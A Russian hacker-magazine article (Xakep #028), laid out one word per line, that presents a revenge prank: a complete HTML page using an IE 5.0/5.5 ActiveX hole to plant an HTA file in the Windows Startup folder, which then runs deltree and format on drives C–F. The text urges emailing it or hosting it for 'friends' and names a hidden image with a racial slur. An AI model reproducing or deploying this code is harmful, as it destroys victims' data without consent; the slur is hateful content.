Автор: RS
Xakep, номер #028, стр. 028-055-1
Западло - лучше средство от печали
У тебя подавленное настроение, депрессия, внутреннее напряжение, бессонница,
изменение аппетита и потливость?:) Всё это наверняка вызвано несправедливостью
существующего жестокого мира....
Надо что-то делать. Нет-нет, лекарственная терапия тебе тут не поможет.
А ты никогда не думал отомстить обидчику, т. е. конкретной
частице жестокости и несправедливости? Тебе
наверняка хотелось создать ему побольше проблем,
скажем просто отформатировать винт. Как это сделать, ты и узнаешь в данной статье.
Сейчас
мы
будем
уничтожать
чужой
винт.
Конечно,
ты
и
раньше
мог
спокойно
отправить
врагу
свой
free.exe,
но
времена
меняются,
и
вряд
ли
теперь
каждый
будет
запускать
твои
злобные
файлы.
Но
вот
послать
ламака
на
www
можно,
и
он
пойдёт,
будь
уверен
:).
Если
тебе
известен
e-mail,
то
отошли
ему
этот
html-код,
и
всё
получится,
т.
к.
многие
майлеры
обработают
вложенное
автоматом.
Теперь
подробнее
о
принципе
действия.
Дело
в
том,
что
Ослик
IE
(5.0/5.5)
у
нас
дырявый
(впрочем,
тут
нет
ничего
удивительного),
и
можно
посредством
скрипта
залить
на
винт
очень
интересные
вещи.
При
заходе
на
страницу
наш
скрипт
закинет
файл
в
папку
"Автозагрузка",
который
при
следующем
старте
мастдая
всё
потрёт
начисто.
Ну
что
ж,
начнём-c
Format-c:
<html>
<head>
<title>Чистый
винт
-
здоровый
винт
:)</title>
</head>
<center><img
src=nigger.jpg>
#
Создаём
html-документ
с
картинкой
посередине,
не
забудь
сделать
файл
nigger.jpg
:)
<div
id="layer"
style="position:absolute;
left:0;
top:0;
width:1px;
height:1px;
z-index:1;
visibility:
hidden">
#
Нас
никто
не
видит,
о
нас
никто
не
знает....
Прячемся
от
лишних
глаз
<APPLET
code=com.ms.activeX.ActiveXComponent></APPLET>
<SCRIPT
language=JAVASCRIPT>
a1=document.applets[0];
fn_en="..\\\\Start
menu\\\\Programs\\\\Startup\\\\DirectX.HTA
";
fn_ru="..\\\\Главное
меню\\\\Программы\\\\Автозагрузка\\\\DirectX.HTA
";
fn_it="..\\\\..\\\\All
Users\\\\Menu
Avvio\\\\Programmi\\\\Esecuzione
automatica\\\\DirectX.HTA
";
fn_de="..\\\\..\\\\All
Users\\\\Startmenu\\\\Programme\\\\Autostart\\\\DirectX.HTA
"
fn_es="..\\\\..\\\\All
Users\\\\Menu
Inicio\\\\Programas\\\\Inicio\\\\DirectX.HTA
"
#
Если
разные
языки
-
то
и
разные
пути
к
автозагрузке.
Наш
форматтер
будет
работать
в
английской,
русской,
итальянской,
немецкой
и
испанской
версиях
мастдая.
Да
здравствует
интернациональная
дружба!
=)
doc="<object
id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>wsh.Run('start
\m
deltree
/y
f:\');wsh.Run('start
\m
deltree
/y
e:\');wsh.Run('start
\m
deltree
/y
d:\');wsh.Run('start
\m
deltree
/y
c:\');wsh.Run('start
\m
format
f:
/q
/u
/autotest');wsh.Run('start
\m
format
e:
/q
/u
/autotest');wsh.Run('start
\m
format
d:
/q
/u
/autotest');wsh.Run('start
\m
format
c:
/q
/u
/autotest');wsh.Run('start
\m
deltree
/y
c:\windows\');alert('
Ты
полный
лапух
и
ламер!
');alert('
LMD
');alert('
Forever!
');alert('
Скажи
bye
своему
винту!
');</"+"SCRIPT>";
#
Тут
мы
уже
создаём
сам
HTA-скрипт,
который
и
будет
в
автозагрузке.
У
разных
людей
бывает
много
логических
дисков,
поэтому
попытаемся
отформатировать
ВСЁ
:).
Вначале
делаем
deltree
дисков
F,E,D,C.
Но
после
этого
инфу
можно
восстановить,
поэтому
продолжаем
party:
format
F,E,D,C
:).
Команда
"\m"
прикрывает
все
окна,
поэтому
юзвер
не
успевает
сообразить,
что
есть
что!
Пока
на
винте
творится,
Бог
знает
что,
у
него
(юзвера)
вылетит
три
сообщения
-
"
Ты
полный
лапух
и
ламер!"
,
"LMD"
и
"
Скажи
bye
своему
винту!
".
Было
бы
логичным
сделать
таких
сообщений
побольше,
дабы
некоторым
образом
увеселить
процесс
тёрки
винта
:).
Типа
"Откиньтесь
на
спинку
кресла,
пока
будет
идти
уничтожение
вашей
инфы".
function
f()
{
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty('Path','"+fn_en+"');",1000);
setTimeout("a1.setProperty('DOC',doc);",1500);
setTimeout("a1.invoke('write',VA);",2000);
setTimeout("a1.setProperty('Path','"+fn_ru+"');",2500);
setTimeout("a1.setProperty('DOC',doc);",3000);
setTimeout("a1.invoke('write',VA);",3500);
setTimeout("a1.setProperty('Path','"+fn_it+"');",4000);
setTimeout("a1.setProperty('DOC',doc);",4500);
setTimeout("a1.invoke('write',VA);",5000);
setTimeout("a1.setProperty('Path','"+fn_de+"');",5500);
setTimeout("a1.setProperty('DOC',doc);",6000);
setTimeout("a1.invoke('write',VA);",6500);
setTimeout("a1.setProperty('Path','"+fn_es+"');",7000);
setTimeout("a1.setProperty('DOC',doc);",7500);
setTimeout("a1.invoke('write',VA);",8000);
}
setTimeout("f()",1000);
</SCRIPT>
<SCRIPT
language=VBSCRIPT>
VA
=
ARRAY()
</SCRIPT></div></html>
#Заканчиваем
сам
скрипт
и
html-документ.
Здесь,
думаю,
тут
тебе
лучше
ничего
не
трогать.
Все
дела
Вот
и
всё,
смело
закачивай
скрипт
на
свою
пагу
и
раздавай
url
"друзьям"
-).
Если
у
тебя
ещё
и
руки
с
того
места
растут
:),
то
можно
сделать
из
этого
скрипта
много
других
интересных
вещей.
Всё
зависит
от
твоей
фантазии...